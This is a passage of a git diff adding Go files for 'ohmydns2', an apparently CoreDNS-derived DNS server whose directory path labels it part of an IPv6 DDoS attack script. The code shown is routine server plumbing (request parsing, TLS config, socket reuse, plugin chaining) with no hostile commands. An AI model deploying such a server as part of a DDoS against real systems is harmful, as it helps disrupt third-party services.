DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/request/request.go" new file mode 100644 index 0000000..24dc03e --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/request/request.go" @@ -0,0 +1,362 @@ +// request 抽象出一个客户端的请求,让所有的插件统一处理 +package request + +import ( + "net" + "ohmydns2/plugin/pkg/edns" + "strings" + + "github.com/miekg/dns" +) + +// Request contains some connection state and is useful in plugin. +type Request struct { + Req *dns.Msg + W dns.ResponseWriter + + // Optional lowercased zone of this query. + Zone string + + // Cache size after first call to Size or Do. If size is zero nothing has been cached yet. + // Both Size and Do set these values (and cache them). + size uint16 // UDP buffer size, or 64K in case of TCP. + do bool // DNSSEC OK value + + // Caches + family int8 // transport's family. + name string // lowercase qname. + ip string // client's ip. + port string // client's port. + localPort string // server's port. + localIP string // server's ip. +} + +// NewWithQuestion returns a new request based on the old, but with a new question +// section in the request. +func (r *Request) NewWithQuestion(name string, typ uint16) Request { + req1 := Request{W: r.W, Req: r.Req.Copy()} + req1.Req.Question[0] = dns.Question{Name: dns.Fqdn(name), Qclass: dns.ClassINET, Qtype: typ} + return req1 +} + +// IP gets the (remote) IP address of the client making the request. +func (r *Request) IP() string { + if r.ip != "" { + return r.ip + } + + ip, _, err := net.SplitHostPort(r.W.RemoteAddr().String()) + if err != nil { + r.ip = r.W.RemoteAddr().String() + return r.ip + } + + r.ip = ip + return r.ip +} + +// LocalIP gets the (local) IP address of server handling the request. +func (r *Request) LocalIP() string { + if r.localIP != "" { + return r.localIP + } + + ip, _, err := net.SplitHostPort(r.W.LocalAddr().String()) + if err != nil { + r.localIP = r.W.LocalAddr().String() + return r.localIP + } + + r.localIP = ip + return r.localIP +} + +// Port gets the (remote) port of the client making the request. +func (r *Request) Port() string { + if r.port != "" { + return r.port + } + + _, port, err := net.SplitHostPort(r.W.RemoteAddr().String()) + if err != nil { + r.port = "0" + return r.port + } + + r.port = port + return r.port +} + +// LocalPort gets the local port of the server handling the request. +func (r *Request) LocalPort() string { + if r.localPort != "" { + return r.localPort + } + + _, port, err := net.SplitHostPort(r.W.LocalAddr().String()) + if err != nil { + r.localPort = "0" + return r.localPort + } + + r.localPort = port + return r.localPort +} + +// RemoteAddr returns the net.Addr of the client that sent the current request. +func (r *Request) RemoteAddr() string { return r.W.RemoteAddr().String() } + +// LocalAddr returns the net.Addr of the server handling the current request. +func (r *Request) LocalAddr() string { return r.W.LocalAddr().String() } + +// Proto gets the protocol used as the transport. This will be udp or tcp. +func (r *Request) Proto() string { + if _, ok := r.W.RemoteAddr().(*net.UDPAddr); ok { + return "udp" + } + if _, ok := r.W.RemoteAddr().(*net.TCPAddr); ok { + return "tcp" + } + return "udp" +} + +// Family returns the family of the transport, 1 for IPv4 and 2 for IPv6. +func (r *Request) Family() int { + if r.family != 0 { + return int(r.family) + } + + var a net.IP + ip := r.W.RemoteAddr() + if i, ok := ip.(*net.UDPAddr); ok { + a = i.IP + } + if i, ok := ip.(*net.TCPAddr); ok { + a = i.IP + } + + if a.To4() != nil { + r.family = 1 + return 1 + } + r.family = 2 + return 2 +} + +// Do returns true if the request has the DO (DNSSEC OK) bit set. +func (r *Request) Do() bool { + if r.size != 0 { + return r.do + } + + r.Size() + return r.do +} + +// Len returns the length in bytes in the request. +func (r *Request) Len() int { return r.Req.Len() } + +// Size returns if buffer size *advertised* in the requests OPT record. +// Or when the request was over TCP, we return the maximum allowed size of 64K. +func (r *Request) Size() int { + if r.size != 0 { + return int(r.size) + } + + size := uint16(0) + if o := r.Req.IsEdns0(); o != nil { + r.do = o.Do() + size = o.UDPSize() + } + + // normalize size + size = edns.Size(r.Proto(), size) + r.size = size + return int(size) +} + +// SizeAndDo adds an OPT record that the reflects the intent from request. +// The returned bool indicates if an record was found and normalised. +func (r *Request) SizeAndDo(m *dns.Msg) bool { + o := r.Req.IsEdns0() + if o == nil { + return false + } + + if mo := m.IsEdns0(); mo != nil { + mo.Hdr.Name = "." + mo.Hdr.Rrtype = dns.TypeOPT + mo.SetVersion(0) + mo.SetUDPSize(o.UDPSize()) + mo.Hdr.Ttl &= 0xff00 // clear flags + + // Assume if the message m has options set, they are OK and represent what an upstream can do. + + if o.Do() { + mo.SetDo() + } + return true + } + + // Reuse the request's OPT record and tack it to m. + o.Hdr.Name = "." + o.Hdr.Rrtype = dns.TypeOPT + o.SetVersion(0) + o.Hdr.Ttl &= 0xff00 // clear flags + + if len(o.Option) > 0 { + o.Option = supportedOptions(o.Option) + } + + m.Extra = append(m.Extra, o) + return true +} + +// Scrub scrubs the reply message so that it will fit the client's buffer. It will first +// check if the reply fits without compression and then *with* compression. +// Note, the TC bit will be set regardless of protocol, even TCP message will +// get the bit, the client should then retry with pigeons. +func (r *Request) Scrub(reply *dns.Msg) *dns.Msg { + reply.Truncate(r.Size()) + + if reply.Compress { + return reply + } + + if r.Proto() == "udp" { + rl := reply.Len() + // Last ditch attempt to avoid fragmentation, if the size is bigger than the v4/v6 UDP fragmentation + // limit and sent via UDP compress it (in the hope we go under that limit). Limits taken from NSD: + // + // .., 1480 (EDNS/IPv4), 1220 (EDNS/IPv6), or the advertised EDNS buffer size if that is + // smaller than the EDNS default. + // See: https://open.nlnetlabs.nl/pipermail/nsd-users/2011-November/001278.html + if rl > 1480 && r.Family() == 1 { + reply.Compress = true + } + if rl > 1220 && r.Family() == 2 { + reply.Compress = true + } + } + + return reply +} + +// Type returns the type of the question as a string. If the request is malformed the empty string is returned. +func (r *Request) Type() string { + if r.Req == nil { + return "" + } + if len(r.Req.Question) == 0 { + return "" + } + + return dns.Type(r.Req.Question[0].Qtype).String() +} + +// QType returns the type of the question as an uint16. If the request is malformed +// 0 is returned. +func (r *Request) QType() uint16 { + if r.Req == nil { + return 0 + } + if len(r.Req.Question) == 0 { + return 0 + } + + return r.Req.Question[0].Qtype +} + +// Name returns the name of the question in the request. Note +// this name will always have a closing dot and will be lower cased. After a call Name +// the value will be cached. To clear this caching call Clear. +// If the request is malformed the root zone is returned. +func (r *Request) Name() string { + if r.name != "" { + return r.name + } + if r.Req == nil { + r.name = "." + return "." + } + if len(r.Req.Question) == 0 { + r.name = "." + return "." + } + + r.name = strings.ToLower(dns.Name(r.Req.Question[0].Name).String()) + return r.name +} + +// QName returns the name of the question in the request. +// If the request is malformed the root zone is returned. +func (r *Request) QName() string { + if r.Req == nil { + return "." + } + if len(r.Req.Question) == 0 { + return "." + } + + return dns.Name(r.Req.Question[0].Name).String() +} + +// Class returns the class of the question in the request. +// If the request is malformed the empty string is returned. +func (r *Request) Class() string { + if r.Req == nil { + return "" + } + if len(r.Req.Question) == 0 { + return "" + } + + return dns.Class(r.Req.Question[0].Qclass).String() +} + +// QClass returns the class of the question in the request. +// If the request is malformed 0 returned. +func (r *Request) QClass() uint16 { + if r.Req == nil { + return 0 + } + if len(r.Req.Question) == 0 { + return 0 + } + + return r.Req.Question[0].Qclass +} + +// Clear clears all caching from Request s. +func (r *Request) Clear() { + r.name = "" + r.ip = "" + r.localIP = "" + r.port = "" + r.localPort = "" + r.family = 0 + r.size = 0 + r.do = false +} + +// Match checks if the reply matches the qname and qtype from the request, it returns +// false when they don't match. +func (r *Request) Match(reply *dns.Msg) bool { + if len(reply.Question) != 1 { + return false + } + + if !reply.Response { + return false + } + + if strings.ToLower(reply.Question[0].Name) != r.Name() { + return false + } + + if reply.Question[0].Qtype != r.QType() { + return false + } + + return true +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/request/writer.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/request/writer.go" new file mode 100644 index 0000000..587b3b5 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/request/writer.go" @@ -0,0 +1,21 @@ +package request + +import "github.com/miekg/dns" + +// ScrubWriter will, when writing the message, call scrub to make it fit the client's buffer. +type ScrubWriter struct { + dns.ResponseWriter + req *dns.Msg // original request +} + +// NewScrubWriter returns a new and initialized ScrubWriter. +func NewScrubWriter(req *dns.Msg, w dns.ResponseWriter) *ScrubWriter { return &ScrubWriter{w, req} } + +// WriteMsg overrides the default implementation of the underlying dns.ResponseWriter and calls +// scrub on the message m and will then write it to the client. +func (s *ScrubWriter) WriteMsg(m *dns.Msg) error { + state := Request{Req: s.req, W: s.ResponseWriter} + state.SizeAndDo(m) + state.Scrub(m) + return s.ResponseWriter.WriteMsg(m) +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/response/classify.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/response/classify.go" new file mode 100644 index 0000000..2e705cb --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/response/classify.go" @@ -0,0 +1,61 @@ +package response + +import "fmt" + +// Class holds sets of Types +type Class int + +const ( + // All is a meta class encompassing all the classes. + All Class = iota + // Success is a class for a successful response. + Success + // Denial is a class for denying existence (NXDOMAIN, or a nodata: type does not exist) + Denial + // Error is a class for errors, right now defined as not Success and not Denial + Error +) + +func (c Class) String() string { + switch c { + case All: + return "all" + case Success: + return "success" + case Denial: + return "denial" + case Error: + return "error" + } + return "" +} + +// ClassFromString returns the class from the string s. If not class matches +// the All class and an error are returned +func ClassFromString(s string) (Class, error) { + switch s { + case "all": + return All, nil + case "success": + return Success, nil + case "denial": + return Denial, nil + case "error": + return Error, nil + } + return All, fmt.Errorf("invalid Class: %s", s) +} + +// Classify classifies the Type t, it returns its Class. +func Classify(t Type) Class { + switch t { + case NoError, Delegation: + return Success + case NameError, NoData: + return Denial + case OtherError: + fallthrough + default: + return Error + } +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/response/type.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/response/type.go" new file mode 100644 index 0000000..ca42202 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/response/type.go" @@ -0,0 +1,150 @@ +package response + +import ( + "fmt" + "github.com/miekg/dns" + "time" +) + +// Type is the type of the message. +type Type int + +const ( + // NoError indicates a positive reply + NoError Type = iota + // NameError is a NXDOMAIN in header, SOA in auth. + NameError + // ServerError is a set of errors we want to cache, for now it contains SERVFAIL and NOTIMPL. + ServerError + // NoData indicates name found, but not the type: NOERROR in header, SOA in auth. + NoData + // Delegation is a msg with a pointer to another nameserver: NOERROR in header, NS in auth, optionally fluff in additional (not checked). + Delegation + // Meta indicates a meta message, NOTIFY, or a transfer: qType is IXFR or AXFR. + Meta + // Update is an dynamic update message. + Update + // OtherError indicates any other error: don't cache these. + OtherError +) + +var toString = map[Type]string{ + NoError: "NOERROR", + NameError: "NXDOMAIN", + ServerError: "SERVERERROR", + NoData: "NODATA", + Delegation: "DELEGATION", + Meta: "META", + Update: "UPDATE", + OtherError: "OTHERERROR", +} + +func (t Type) String() string { return toString[t] } + +// TypeFromString returns the type from the string s. If not type matches +// the OtherError type and an error are returned. +func TypeFromString(s string) (Type, error) { + for t, str := range toString { + if s == str { + return t, nil + } + } + return NoError, fmt.Errorf("invalid Type: %s", s) +} + +// Typify classifies a message, it returns the Type. +func Typify(m *dns.Msg, t time.Time) (Type, *dns.OPT) { + if m == nil { + return OtherError, nil + } + opt := m.IsEdns0() + do := false + if opt != nil { + do = opt.Do() + } + + if m.Opcode == dns.OpcodeUpdate { + return Update, opt + } + + // Check transfer and update first + if m.Opcode == dns.OpcodeNotify { + return Meta, opt + } + + if len(m.Question) > 0 { + if m.Question[0].Qtype == dns.TypeAXFR || m.Question[0].Qtype == dns.TypeIXFR { + return Meta, opt + } + } + + // If our message contains any expired sigs and we care about that, we should return expired + if do { + if expired := typifyExpired(m, t); expired { + return OtherError, opt + } + } + + if len(m.Answer) > 0 && m.Rcode == dns.RcodeSuccess { + return NoError, opt + } + + soa := false + ns := 0 + for _, r := range m.Ns { + if r.Header().Rrtype == dns.TypeSOA { + soa = true + continue + } + if r.Header().Rrtype == dns.TypeNS { + ns++ + } + } + + if soa && m.Rcode == dns.RcodeSuccess { + return NoData, opt + } + if soa && m.Rcode == dns.RcodeNameError { + return NameError, opt + } + + if m.Rcode == dns.RcodeServerFailure || m.Rcode == dns.RcodeNotImplemented { + return ServerError, opt + } + + if ns > 0 && m.Rcode == dns.RcodeSuccess { + return Delegation, opt + } + + if m.Rcode == dns.RcodeSuccess { + return NoError, opt + } + + return OtherError, opt +} + +func typifyExpired(m *dns.Msg, t time.Time) bool { + if expired := typifyExpiredRRSIG(m.Answer, t); expired { + return true + } + if expired := typifyExpiredRRSIG(m.Ns, t); expired { + return true + } + if expired := typifyExpiredRRSIG(m.Extra, t); expired { + return true + } + return false +} + +func typifyExpiredRRSIG(rrs []dns.RR, t time.Time) bool { + for _, r := range rrs { + if r.Header().Rrtype != dns.TypeRRSIG { + continue + } + ok := r.(*dns.RRSIG).ValidityPeriod(t) + if !ok { + return true + } + } + return false +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/reuseport/listen_no_reuseport.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/reuseport/listen_no_reuseport.go" new file mode 100644 index 0000000..2a15026 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/reuseport/listen_no_reuseport.go" @@ -0,0 +1,13 @@ +//go:build !go1.11 || (!aix && !darwin && !dragonfly && !freebsd && !linux && !netbsd && !openbsd) + +package reuseport + +import "net" + +// Listen is a wrapper around net.Listen. +func Listen(network, addr string) (net.Listener, error) { return net.Listen(network, addr) } + +// ListenPacket is a wrapper around net.ListenPacket. +func ListenPacket(network, addr string) (net.PacketConn, error) { + return net.ListenPacket(network, addr) +} \ No newline at end of file diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/reuseport/listen_reuseport.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/reuseport/listen_reuseport.go" new file mode 100644 index 0000000..6143c02 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/reuseport/listen_reuseport.go" @@ -0,0 +1,35 @@ +//go:build go1.11 && (aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd) +package reuseport + +import ( + "context" + "net" + "syscall" + + "ohmydns2/plugin/pkg/log" + + "golang.org/x/sys/unix" +) + +func control(network, address string, c syscall.RawConn) error { + c.Control(func(fd uintptr) { + if err := unix.SetsockoptInt(int(fd), unix.SOL_SOCKET, unix.SO_REUSEPORT, 1); err != nil { + log.Warningf("Failed to set SO_REUSEPORT on socket: %s", err) + } + }) + return nil +} + +// Listen announces on the local network address. See net.Listen for more information. +// If SO_REUSEPORT is available it will be set on the socket. +func Listen(network, addr string) (net.Listener, error) { + lc := net.ListenConfig{Control: control} + return lc.Listen(context.Background(), network, addr) +} + +// ListenPacket announces on the local network address. See net.ListenPacket for more information. +// If SO_REUSEPORT is available it will be set on the socket. +func ListenPacket(network, addr string) (net.PacketConn, error) { + lc := net.ListenConfig{Control: control} + return lc.ListenPacket(context.Background(), network, addr) +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/tls/tls.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/tls/tls.go" new file mode 100644 index 0000000..41eff4b --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/tls/tls.go" @@ -0,0 +1,149 @@ +package tls + +import ( + "crypto/tls" + "crypto/x509" + "fmt" + "net" + "net/http" + "os" + "path/filepath" + "time" +) + +func setTLSDefaults(ctls *tls.Config) { + ctls.MinVersion = tls.VersionTLS12 + ctls.MaxVersion = tls.VersionTLS13 + ctls.CipherSuites = []uint16{ + tls.TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384, + tls.TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384, + tls.TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305, + tls.TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305, + tls.TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, + tls.TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, + tls.TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384, + tls.TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384, + tls.TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, + } +} + +// NewTLSConfigFromArgs returns a TLS config based upon the passed +// in list of arguments. Typically these come straight from the +// Corefile. +// no args +// - creates a Config with no cert and using system CAs +// - use for a client that talks to a server with a public signed cert (CA installed in system) +// - the client will not be authenticated by the server since there is no cert +// +// one arg: the path to CA PEM file +// - creates a Config with no cert using a specific CA +// - use for a client that talks to a server with a private signed cert (CA not installed in system) +// - the client will not be authenticated by the server since there is no cert +// +// two args: path to cert PEM file, the path to private key PEM file +// - creates a Config with a cert, using system CAs to validate the other end +// - use for: +// - a server; or, +// - a client that talks to a server with a public cert and needs certificate-based authentication +// - the other end will authenticate this end via the provided cert +// - the cert of the other end will be verified via system CAs +// +// three args: path to cert PEM file, path to client private key PEM file, path to CA PEM file +// - creates a Config with the cert, using specified CA to validate the other end +// - use for: +// - a server; or, +// - a client that talks to a server with a privately signed cert and needs certificate-based +// authentication +// - the other end will authenticate this end via the provided cert +// - this end will verify the other end's cert using the specified CA +func NewTLSConfigFromArgs(args ...string) (*tls.Config, error) { + var err error + var c *tls.Config + switch len(args) { + case 0: + // No client cert, use system CA + c, err = NewTLSClientConfig("") + case 1: + // No client cert, use specified CA + c, err = NewTLSClientConfig(args[0]) + case 2: + // Client cert, use system CA + c, err = NewTLSConfig(args[0], args[1], "") + case 3: + // Client cert, use specified CA + c, err = NewTLSConfig(args[0], args[1], args[2]) + default: + err = fmt.Errorf("maximum of three arguments allowed for TLS config, found %d", len(args)) + } + if err != nil { + return nil, err + } + return c, nil +} + +// NewTLSConfig returns a TLS config that includes a certificate +// Use for server TLS config or when using a client certificate +// If caPath is empty, system CAs will be used +func NewTLSConfig(certPath, keyPath, caPath string) (*tls.Config, error) { + cert, err := tls.LoadX509KeyPair(certPath, keyPath) + if err != nil { + return nil, fmt.Errorf("could not load TLS cert: %s", err) + } + + roots, err := loadRoots(caPath) + if err != nil { + return nil, err + } + + tlsConfig := &tls.Config{Certificates: []tls.Certificate{cert}, RootCAs: roots} + setTLSDefaults(tlsConfig) + + return tlsConfig, nil +} + +// NewTLSClientConfig returns a TLS config for a client connection +// If caPath is empty, system CAs will be used +func NewTLSClientConfig(caPath string) (*tls.Config, error) { + roots, err := loadRoots(caPath) + if err != nil { + return nil, err + } + + tlsConfig := &tls.Config{RootCAs: roots} + setTLSDefaults(tlsConfig) + + return tlsConfig, nil +} + +func loadRoots(caPath string) (*x509.CertPool, error) { + if caPath == "" { + return nil, nil + } + + roots := x509.NewCertPool() + pem, err := os.ReadFile(filepath.Clean(caPath)) + if err != nil { + return nil, fmt.Errorf("error reading %s: %s", caPath, err) + } + ok := roots.AppendCertsFromPEM(pem) + if !ok { + return nil, fmt.Errorf("could not read root certs: %s", err) + } + return roots, nil +} + +// NewHTTPSTransport returns an HTTP transport configured using tls.Config +func NewHTTPSTransport(cc *tls.Config) *http.Transport { + tr := &http.Transport{ + Proxy: http.ProxyFromEnvironment, + Dial: (&net.Dialer{ + Timeout: 30 * time.Second, + KeepAlive: 30 * time.Second, + }).Dial, + TLSHandshakeTimeout: 10 * time.Second, + TLSClientConfig: cc, + MaxIdleConnsPerHost: 25, + } + + return tr +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/trace/trace.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/trace/trace.go" new file mode 100644 index 0000000..f9255db --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/trace/trace.go" @@ -0,0 +1,7 @@ +package trace + +import ot "github.com/opentracing/opentracing-go" + +type Trace interface { + Tracer() ot.Tracer +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/transport/transport.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/transport/transport.go" new file mode 100644 index 0000000..742d4af --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/transport/transport.go" @@ -0,0 +1,26 @@ +package transport + +// These transports are supported by OhmyDNS. +const ( + DNS = "dns" + TLS = "tls" + GRPC = "grpc" + HTTPS = "https" + UNIX = "unix" + PROBER = "prober" + PROBERTRAN = "http" +) + +// Port numbers for the various transports. +const ( + // Port is the default port for DNS + Port = "53" + // TLSPort is the default port for DNS-over-TLS. + TLSPort = "853" + // GRPCPort is the default port for DNS-over-gRPC. + GRPCPort = "443" + // HTTPSPort is the default port for DNS-over-HTTPS. + HTTPSPort = "443" + // PHTTPPort 是默认的探测器api调用端口 + PROBERPort = "2115" +) diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/uniq/uniq.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/uniq/uniq.go" new file mode 100644 index 0000000..5f95e41 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/uniq/uniq.go" @@ -0,0 +1,46 @@ +// Package uniq keeps track of "thing" that are either "todo" or "done". Multiple +// identical events will only be processed once. +package uniq + +// U keeps track of item to be done. +type U struct { + u map[string]item +} + +type item struct { + state int // either todo or done + f func() error // function to be executed. +} + +// New returns a new initialized U. +func New() U { return U{u: make(map[string]item)} } + +// Set sets function f in U under key. If the key already exists it is not overwritten. +func (u U) Set(key string, f func() error) { + if _, ok := u.u[key]; ok { + return + } + u.u[key] = item{todo, f} +} + +// Unset removes the key. +func (u U) Unset(key string) { + delete(u.u, key) +} + +// ForEach iterates over u and executes f for each element that is 'todo' and sets it to 'done'. +func (u U) ForEach() error { + for k, v := range u.u { + if v.state == todo { + v.f() + } + v.state = done + u.u[k] = v + } + return nil +} + +const ( + todo = 1 + done = 2 +) diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/up/up.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/up/up.go" new file mode 100644 index 0000000..1e59acc --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/up/up.go" @@ -0,0 +1,80 @@ +// Package up is used to run a function for some duration. If a new function is added while a previous run is +// still ongoing, nothing new will be executed. +package up + +import ( + "sync" + "time" +) + +// Probe is used to run a single Func until it returns true (indicating a target is healthy). If an Func +// is already in progress no new one will be added, i.e. there is always a maximum of 1 checks in flight. +// +// There is a tradeoff to be made in figuring out quickly that an upstream is healthy and not doing to much work +// (sending queries) to find that out. Having some kind of exp. backoff here won't help much, because you don't won't +// to backoff too much. You then also need random queries to be perfomed every so often to quickly detect a working +// upstream. In the end we just send a query every 0.5 second to check the upstream. This hopefully strikes a balance +// between getting information about the upstream state quickly and not doing too much work. Note that 0.5s is still an +// eternity in DNS, so we may actually want to shorten it. +type Probe struct { + sync.Mutex + inprogress int + interval time.Duration +} + +// Func is used to determine if a target is alive. If so this function must return nil. +type Func func() error + +// New returns a pointer to an initialized Probe. +func New() *Probe { return &Probe{} } + +// Do will probe target, if a probe is already in progress this is a noop. +func (p *Probe) Do(f Func) { + p.Lock() + if p.inprogress != idle { + p.Unlock() + return + } + p.inprogress = active + interval := p.interval + p.Unlock() + // Passed the lock. Now run f for as long it returns false. If a true is returned + // we return from the goroutine and we can accept another Func to run. + go func() { + for { + if err := f(); err == nil { + break + } + time.Sleep(interval) + p.Lock() + if p.inprogress == stop { + p.Unlock() + return + } + p.Unlock() + } + p.Lock() + p.inprogress = idle + p.Unlock() + }() +} + +// Stop stops the probing. +func (p *Probe) Stop() { + p.Lock() + p.inprogress = stop + p.Unlock() +} + +// Start will initialize the probe manager, after which probes can be initiated with Do. +func (p *Probe) Start(interval time.Duration) { + p.Lock() + p.interval = interval + p.Unlock() +} + +const ( + idle = iota + active + stop +) diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/plugin.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/plugin.go" new file mode 100644 index 0000000..3153b58 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/plugin.go" @@ -0,0 +1,109 @@ +package plugin + +import ( + "context" + "errors" + "fmt" + "github.com/miekg/dns" + ot "github.com/opentracing/opentracing-go" + "github.com/prometheus/client_golang/prometheus" +) + +type ( + // Plugin 是一个中间层,它定义了一个插件传递链,前一个 Handler 处理完成之后将紧接着传递到下一个 Handler。 + Plugin func(Handler) Handler + + // Handler is like dns.Handler except ServeDNS may return an rcode + // and/or error. + // + // If ServeDNS writes to the response body, it should return a status + // code. CoreDNS assumes *no* reply has yet been written if the status + // code is one of the following: + // + // * SERVFAIL (dns.RcodeServerFailure) + // + // * REFUSED (dns.RecodeRefused) + // + // * FORMERR (dns.RcodeFormatError) + // + // * NOTIMP (dns.RcodeNotImplemented) + // + // All other response codes signal other handlers above it that the + // response message is already written, and that they should not write + // to it also. + // + // If ServeDNS encounters an error, it should return the error value + // so it can be logged by designated error-handling plugin. + // + // If writing a response after calling another ServeDNS method, the + // returned rcode SHOULD be used when writing the response. + // + // If handling errors after calling another ServeDNS method, the + // returned error value SHOULD be logged or handled accordingly. + // + // Otherwise, return values should be propagated down the plugin + // chain by returning them unchanged. + Handler interface { + ServeDNS(context.Context, dns.ResponseWriter, *dns.Msg) (int, error) + Name() string + } + + // HandlerFunc is a convenience type like dns.HandlerFunc, except + // ServeDNS returns an rcode and an error. See Handler + // documentation for more information. + HandlerFunc func(context.Context, dns.ResponseWriter, *dns.Msg) (int, error) +) + +// ServeDNS implements the Handler interface. +func (f HandlerFunc) ServeDNS(ctx context.Context, w dns.ResponseWriter, r *dns.Msg) (int, error) { + return f(ctx, w, r) +} + +// Name implements the Handler interface. +func (f HandlerFunc) Name() string { return "handlerfunc" } + +// Error returns err with 'plugin/name: ' prefixed to it. +func Error(name string, err error) error { return fmt.Errorf("%s/%s: %s", "plugin", name, err) } + +// NextOrFailure calls next.ServeDNS when next is not nil, otherwise it will return, a ServerFailure and a `no next plugin found` error. +func NextOrFailure(name string, next Handler, ctx context.Context, w dns.ResponseWriter, r *dns.Msg) (int, error) { // nolint: golint + if next != nil { + if span := ot.SpanFromContext(ctx); span != nil { + child := span.Tracer().StartSpan(next.Name(), ot.ChildOf(span.Context())) + defer child.Finish() + ctx = ot.ContextWithSpan(ctx, child) + } + return next.ServeDNS(ctx, w, r) + } + + return dns.RcodeServerFailure, Error(name, errors.New("no next plugin found")) +} + +// ClientWrite returns true if the response has been written to the client. +// Each plugin to adhere to this protocol. +func ClientWrite(rcode int) bool { + switch rcode { + case dns.RcodeServerFailure: + fallthrough + case dns.RcodeRefused: + fallthrough + case dns.RcodeFormatError: + fallthrough + case dns.RcodeNotImplemented: + return false + } + return true +} + +// Namespace is the namespace used for the metrics. +const Namespace = "ohmydns2" + +// 普罗米修斯监控 +// TimeBuckets is based on Prometheus client_golang prometheus.DefBuckets +var TimeBuckets = prometheus.ExponentialBuckets(0.00025, 2, 16) // from 0.25ms to 8 seconds + +// SlimTimeBuckets is low cardinality set of duration buckets. +var SlimTimeBuckets = 